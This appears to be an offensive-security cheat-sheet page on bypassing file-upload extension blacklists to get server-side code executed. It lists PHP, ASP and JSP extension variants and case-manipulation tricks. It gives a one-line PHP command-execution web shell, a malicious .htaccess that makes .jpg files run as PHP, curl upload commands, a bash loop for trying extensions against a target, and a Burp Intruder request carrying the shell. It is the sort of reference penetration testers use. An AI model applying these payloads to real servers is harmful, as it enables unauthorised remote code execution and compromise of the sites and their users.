Skip to content

Extension blacklist

Blacklists try to stop dangerous extensions by listing them. They miss things. The classics that frequently get past a .php-only blacklist:

shell.phtml # PHP-handler enabled for .phtml on most Apache configs
shell.phar # PHP archive - executes as PHP, often not blocked
shell.php5 # version-specific PHP
shell.php7
shell.php3 # ancient but sometimes enabled
shell.pht # less common, sometimes works
shell.pHp # case manipulation (Windows or case-insensitive matchers)
shell.PhP3

Success indicator: file uploads with the alternate extension, visiting it executes the code.

The fundamental problem: there are more dangerous extensions than the developer thought. PHP alone executes via at least seven extension variants depending on server configuration. A blacklist that catches .php and .php5 misses .phar, .phtml, .pht. A blacklist that catches all those misses case-manipulated variants on Windows.

A typical vulnerable blacklist:

$blacklist = array('php', 'php3', 'php4', 'php5', 'phps');
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
if (in_array($extension, $blacklist)) {
echo "File type not allowed";
die();
}

This catches the obvious cases and misses .phar, .phtml, .pht, and case-manipulated variants like .pHp. The bypass is finding what’s missing.

The complete list of PHP-executing extensions on a default Apache configuration:

.php # primary
.php2
.php3
.php4
.php5
.php6
.php7
.phps # PHP source - often disabled but worth trying
.pht
.phtm
.phtml
.phar
.phpt
.pgif
.shtml
.htaccess # not PHP itself, but lets you redefine handlers - see notes

The Apache configuration that enables these typically looks like:

<FilesMatch ".+\.ph(p[3457]?|t|tml|ar)">
SetHandler application/x-httpd-php
</FilesMatch>

The regex above is what makes .phar, .phtml, .pht, .phtm, .php3, .php4, .php5, .php7 all execute as PHP. If the regex is more permissive (.+\.ph.+), even more variants execute.

.phar (PHP Archive) is enabled by default on most LAMP stacks. It’s a legitimate PHP extension for executable archives - but the file doesn’t have to be a real PHAR. A plain text file with .phar extension and PHP content executes as PHP:

Terminal window
echo '<?php system($_GET["cmd"]); ?>' > shell.phar
# Upload as shell.phar
# Visit https://target/uploads/shell.phar?cmd=id

Filter authors frequently miss .phar because it’s less commonly known than .php. It’s the operator’s reliable fallback when .php, .phtml, and .php5 are all blocked.

Same story - enabled on most Apache configs, less commonly blacklisted than .php. Try after .phar.

.htaccess is an Apache configuration file. If the upload directory allows .htaccess and Apache reads it (AllowOverride All is set), uploading a malicious .htaccess redefines what counts as PHP:

# Upload this as .htaccess
AddType application/x-httpd-php .jpg

Now any .jpg in the same directory executes as PHP. Upload .htaccess first, then upload shell.jpg. Many file-upload blacklists don’t include .htaccess because it isn’t an “executable” itself - but the second-order effect is just as serious.

This works only if:

  • The upload landing directory allows per-directory .htaccess
  • The Apache config has AllowOverride All (or at least AllowOverride FileInfo)
  • The web server is Apache (Nginx ignores .htaccess)
.asp # classic ASP
.aspx # ASP.NET
.ashx # HTTP handler
.asmx # web service
.cer # certificate file - sometimes executable on misconfigured IIS
.cdx # ChannelDefinitionFormat - sometimes executable
.config # IIS reads this and may execute embedded handler code
.asax # global.asax

.ashx is the ASP equivalent of .phar - frequently allowed, executes server-side code. The IIS handler regex usually catches it.

.jsp
.jspx
.jspf
.jsw
.jsv
.jhtml
.tag # tag library file - sometimes executable
.tagx

.jspx is the most commonly-overlooked JSP variant.

On case-insensitive systems (Windows, some Linux + filesystem configurations), shell.pHp is the same file as shell.php. The blacklist’s in_array(['php', 'php3', ...]) does a case-sensitive match - pHp isn’t in the list, passes through, gets written as pHp, then Apache treats it as PHP based on a case-insensitive match.

shell.pHp
shell.PHp
shell.PHP3
shell.Phtml
shell.PHAR

Pure-Linux servers may or may not be case-sensitive depending on filesystem (ext4 is, NTFS isn’t). Case manipulation is most effective against:

  • Windows IIS targets
  • Apache on case-insensitive filesystems
  • PHP applications running on Windows
  • Macs (less common as production servers, but Docker-on-Mac is a thing)

Try it as a quick variant when the lowercase forms fail. Costs nothing.

The blacklist might allow .phar but the server might not have .phar mapped to PHP. Test before committing:

Terminal window
# Upload a simple test file
echo '<?php echo "PHAR_EXEC_OK"; ?>' > test.phar
curl -F "[email protected]" https://target/upload.php
# Visit it
curl https://target/uploads/test.phar

Two outcomes:

  • Response contains PHAR_EXEC_OK → the extension executes as PHP, you have RCE
  • Response shows the raw <?php echo ...; ?> source → uploaded, but doesn’t execute, try another extension
  • Response is 403 / 404 → upload failed or path wrong, see Post-upload

Repeat with each candidate extension. Five minutes of testing maps which extensions actually work on the target.

When manual variants don’t work, fuzz a wordlist:

Terminal window
# PayloadsAllTheThings PHP extensions
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst
# ASP variants
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP
# General web extensions
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt

Burp Intruder with the wordlist as a payload list, targeting the extension portion of the filename:

POST /upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=---X
-----X
Content-Disposition: form-data; name="uploadFile"; filename="shell.§ext§"
Content-Type: image/png
<?php system($_GET["cmd"]); ?>
-----X--

Set the §ext§ marker to fuzz on extensions from the wordlist. Sort results by response size - different sizes likely indicate different outcomes (success vs. rejection).

When you have a confirmed blacklist (you see “Extension not allowed” or similar):

Terminal window
# 1. Verify your basic attempt is being blocked
curl -F "[email protected]" https://target/upload.php
# → "Extension not allowed"
# 2. Try the operator's first five
for ext in phtml phar php5 pHp pht; do
cp test.php test.$ext
response=$(curl -F "uploadFile=@test.$ext" https://target/upload.php)
echo "$ext: $response"
rm test.$ext
done
# 3. If none work, run a wordlist fuzz
# 4. If still nothing, move to whitelist bypass - see Extension whitelist

A well-maintained blacklist might genuinely block every PHP-executing extension. When that’s the case:

  • Try a whitelist bypass - even apps with a blacklist usually also have a whitelist. The whitelist’s .jpg/.png accept list might be bypassable through whitelist bypass techniques.
  • Try LFI chain - if the application has both LFI and uploads, upload any file with PHP content (regardless of extension) and include it via the LFI.
  • Look for second-order injection - if uploaded filenames get reflected anywhere (database, audit logs, file listings), the filename itself might be a vector.

The blacklist is just one layer. When it’s strong, other layers usually aren’t.

A blacklist sometimes uses regex case-insensitively:

if (preg_match('/\.(php|phps|phtml)$/i', $fileName)) { ... }

The /i makes the match case-insensitive - .pHp and .PHP both match. Case manipulation alone won’t help here.

The bypass: extensions outside the regex’s enumeration. .phar, .pht, .php5 - if the regex doesn’t explicitly list them, they pass even with case-insensitivity.

Cross-language case - application stack guesswork

Section titled “Cross-language case - application stack guesswork”

Sometimes the application is multi-language (PHP frontend, Python backend, etc.). The blacklist might cover PHP but miss other executables:

.py # if Python CGI is enabled
.pl # Perl CGI
.cgi # generic CGI
.rb # Ruby CGI (rare)
.jar # if a Java servlet container processes uploaded JARs
.war # Java web archive (Tomcat)

These are less likely to execute than PHP variants but worth trying on targets that look mixed-stack.

A confirmation that the extension executes, without committing to a real shell:

<?php echo md5("PHARPROBE_" . date("YmdHi")); ?>

The output is a unique 32-char hex string per minute - distinguishable from any normal page content, hard to false-positive on. Replace phar in PHARPROBE to identify which extension was the success vector when testing multiple.

  • .phar is the operator’s reliable fallback. Frequently allowed because filter authors didn’t recognize it; frequently executable because Apache’s default PHP handler regex includes it. Try .phar after .php fails before trying anything else.
  • Case manipulation is free to try. Even when the server doesn’t appear Windows-flavored, the filesystem might be case-insensitive. Costs one extra request.
  • .htaccess is high-yield when it works. Per-directory .htaccess enabled in upload directories is a common misconfiguration - uploading .htaccess to redefine handlers can re-enable execution of allowed extensions.
  • Some blacklists also check the file content. A blacklist that catches both the extension and the <?php opening tag in the file content needs a content-type bypass in addition to an extension variant.